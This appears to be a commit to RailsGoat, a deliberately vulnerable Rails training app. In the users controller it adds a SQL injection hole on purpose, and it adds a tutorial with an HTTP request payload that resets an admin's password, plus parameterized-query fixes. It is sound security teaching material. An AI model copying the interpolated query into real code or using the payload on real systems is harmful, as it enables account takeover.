changed SQLi vuln location, did write-up, closes issue #1

This commit is contained in:
Ken Johnson
2013-06-03 12:31:34 -04:00
parent 6528b56de6
commit 6d5623a423
3 changed files with 106 additions and 9 deletions
+12 -6
View File
@@ -23,17 +23,23 @@ class UsersController < ApplicationController
end
def account_settings
#@user = current_user
@user = User.find(:first, :conditions => "user_id = '#{params[:user_id]}'")
@user = current_user
end
def update
message = false
current_user.skip_user_id_assign = true
current_user.update_attributes(params[:user].reject { |k| k == ("password" || "password_confirmation") })
#Safest
# user = current_user
# Still an Insecure DoR vulnerability
#user = User.find(:first, :conditions => ["user_id = ?", "#{params[:user][:user_id]}"])
user = User.find(:first, :conditions => "user_id = '#{params[:user][:user_id]}'")
user.skip_user_id_assign = true
user.update_attributes(params[:user].reject { |k| k == ("password" || "password_confirmation") || "user_id" })
pass = params[:user][:password]
current_user.password = pass if !(pass.blank?)
message = true if current_user.save!
user.password = pass if !(pass.blank?)
message = true if user.save!
respond_to do |format|
format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) }
format.json { render :json => {:msg => message ? "success" : "false "} }
@@ -32,7 +32,30 @@
</div>
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
<div class="accordion-inner">
Anim pariatur cliche reprehenderit, enim eiusmod high life accusamus terry richardson ad squid. 3 wolf moon officia aute, non cupidatat skateboard dolor brunch. Food truck quinoa nesciunt laborum eiusmod. Brunch 3 wolf moon tempor
<p class="desc">
This example of SQL Injection also happens to be a form of <%= link_to "Insecure Direct Object Reference", insecure_dor_tutorials_path, {:target => "_blank", :style => "color: rgb(181, 121, 158)"} %> since it uses user-supplied input to determine the user's profile to update. However, we will discuss the SQL query being used and why it is vulnerable.
</p>
<p>
Within app/controllers/users_controller.rb
</p>
<pre class="ruby">
def update
message = false
<span style="background-color:yellow"> user = User.find(:first, :conditions => "user_id = '#{params[:user][:user_id]}'")</span>
user.skip_user_id_assign = true
user.update_attributes(params[:user].reject { |k| k == ("password" || "password_confirmation") || "user_id" })
pass = params[:user][:password]
user.password = pass if !(pass.blank?)
message = true if user.save!
respond_to do |format|
format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) }
format.json { render :json => {:msg => message ? "success" : "false "} }
end
end
</pre>
<p class="desc">
The injection vulnerability is introduced when user-supplied input is placed within the SQL string that will be executed as a query. The application will not be able to determine which portion of this query is data and which portion is a query as the user input is interpolated or co-mingled with the query string.
</p>
</div>
</div>
</div>
@@ -46,7 +69,74 @@
</div>
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
<div class="accordion-inner">
Anim pariatur cliche reprehenderit, enim eiusmod high life accusamus terry richardson ad squid. 3 wolf moon officia aute, non cupidatat skateboard dolor brunch. Food truck quinoa nesciunt laborum eiusmod. Brunch 3 wolf moon tempor
<p><b>SQL Injection - ATTACK</b></p>
<p class="desc">
You will need to use an intercepting proxy or otherwise modify the request prior to it being received by the application. Browse to account_settings (top right, drop-down). Once at the account settings page, type in passwords, and click submit. Now modify the request from:
<p>
<pre class="ruby">
POST /users/5.json HTTP/1.1
Host: railsgoat.dev
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://railsgoat.dev/users/5/account_settings
Content-Length: 294
Cookie: _railsgoat_session=[redacted]
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
utf8=✓&_method=put&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&<span style="background-color: yellow"> user[user_id]=5</span>&user[email]=ken@metacorp.com&user[first_name]=Ken&user[last_name]=Johnson&user[password]=testtest&user[password_confirmation]=testtest
</pre>
<p class="desc">
Now we will inject some SQL Query syntax that will return the first result of a query that looks for users that have an admin attribute that is true. So essentially, instead of looking up the user whose data we will change by our user ID, we tell the database to return the first admin and update their data. In this instance, we are changing admin@metacorp.com's password to testtest. We can later login as that user. Granted, we could just change the user_id to 1 and do the same thing, and there are other ways to exploit this weakness but this is a clear-cut example of SQL Injection.
</p>
<pre class="ruby">
POST /users/5.json HTTP/1.1
Host: railsgoat.dev
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://railsgoat.dev/users/5/account_settings
Content-Length: 208
Cookie: _railsgoat_session=[redacted]
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
utf8=✓&_method=put&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&<span style="background:yellow">user[user_id]=5') OR admin = 't' --'")</span>&user[password]=testtest1&user[password_confirmation]=testtest1
</pre>
<p><b>SQL Injection - SOLUTION</b></p>
<p class="desc">
In this instance, the more secure route would be to reference the current_user object versus pulling from the database manually, using POST parameters provided by the user.<br/><br/>
</p>
<pre class="ruby">
def update
message = false
<span style="background-color:yellow">user = current_user</span>
user.skip_user_id_assign = true
user.update_attributes(params[:user].reject { |k| k == ("password" || "password_confirmation") || "user_id" })
pass = params[:user][:password]
user.password = pass if !(pass.blank?)
message = true if user.save!
respond_to do |format|
format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) }
format.json { render :json => {:msg => message ? "success" : "false "} }
end
end
</pre>
<p class="desc">
...However, since we are discussing fixing vulnerable SQL queries, let's discuss parameterized queries. Parameterized queries separate the SQL Query from the dynamic and often untrusted data. You could replace the string interpolated value with the following query and effectively separate the query from untrusted data:
</p>
<pre class="ruby">
user = User.find(:first, :conditions => ["user_id = ?", "#{params[:user][:user_id]}"])
</pre>
</div>
</div>
</div>
@@ -60,7 +150,7 @@
</div>
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
<div class="accordion-inner">
Anim pariatur cliche reprehenderit, enim eiusmod high life accusamus terry richardson ad squid. 3 wolf moon officia aute, non cupidatat skateboard dolor brunch. Food truck quinoa nesciunt laborum eiusmod. Brunch 3 wolf moon tempor
I wonder who else's account needs updating?
</div>
</div>
</div>
@@ -37,6 +37,7 @@
</div>
<div class="widget-body">
<%= form_for @user, :html => {:id => "account_edit"} do |f|%>
<%= f.hidden_field :user_id%>
<div class="control-group">
<%= f.label :email, nil, {:class => "control-label"}%>
<%= f.text_field :email, {:class => "span12"}%>